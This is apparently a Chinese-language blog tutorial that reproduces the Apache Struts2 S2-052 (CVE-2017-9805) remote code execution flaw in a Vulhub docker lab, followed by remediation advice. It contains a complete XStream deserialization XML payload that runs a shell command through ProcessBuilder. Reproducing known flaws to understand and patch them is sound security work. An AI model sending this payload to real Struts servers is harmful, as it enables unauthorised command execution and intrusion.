温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何实现Apache Struts2--052远程代码执行漏洞复现

发布时间:2022-01-15 10:19:37 来源:亿速云 阅读:152 作者:柒染 栏目:安全技术

这篇文章的内容主要围绕如何实现Apache Struts2--052远程代码执行漏洞复现进行讲述,文章内容清晰易懂,条理清晰,非常适合新手学习,值得大家去阅读。感兴趣的朋友可以跟随小编一起阅读吧。希望大家通过这篇文章有所收获!

0x00漏洞简述

2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行

0x01影响版本

Apache Struts 2.5 – Struts 2.5.12

Apache Struts 2.1.2 – Struts 2.3.33

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

http://192.168.60.131:8080/orders.xhtml

如何实现Apache Struts2--052远程代码执行漏洞复现

2、通过编辑进行POST数据的修改

如何实现Apache Struts2--052远程代码执行漏洞复现

3、该rest-plugin会根据URI扩展名或 Content-Type来判断解析文件方式, 需要修改xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

4、抓包对Content-Type类型修改

如何实现Apache Struts2--052远程代码执行漏洞复现

5、XML格式Payload数据包构造

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>

<string>touch</string>

<string>/tmp/yunzui.txt</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

6、通过payload进行漏洞利用,执行命令,返回响应500状态码,但是执行成功。

touch /tmp/yunzui.txt

如何实现Apache Struts2--052远程代码执行漏洞复现

7、命令执行结果进入docker查看,成功执行。

docker-compose exec struts2 bash

ls -al /tmp

如何实现Apache Struts2--052远程代码执行漏洞复现

0x03修复建议

1、升级Apache struts 2.5.13或2.3.34版本

2、如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名

<constant name="struts.action.extension" value="xhtml,,json" />

3、限制服务端扩展类型,删除XML支持

感谢你的阅读,相信你对“如何实现Apache Struts2--052远程代码执行漏洞复现”这一问题有一定的了解,快去动手实践吧,如果想了解更多相关知识点,可以关注亿速云网站!小编会继续为大家带来更好的文章!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI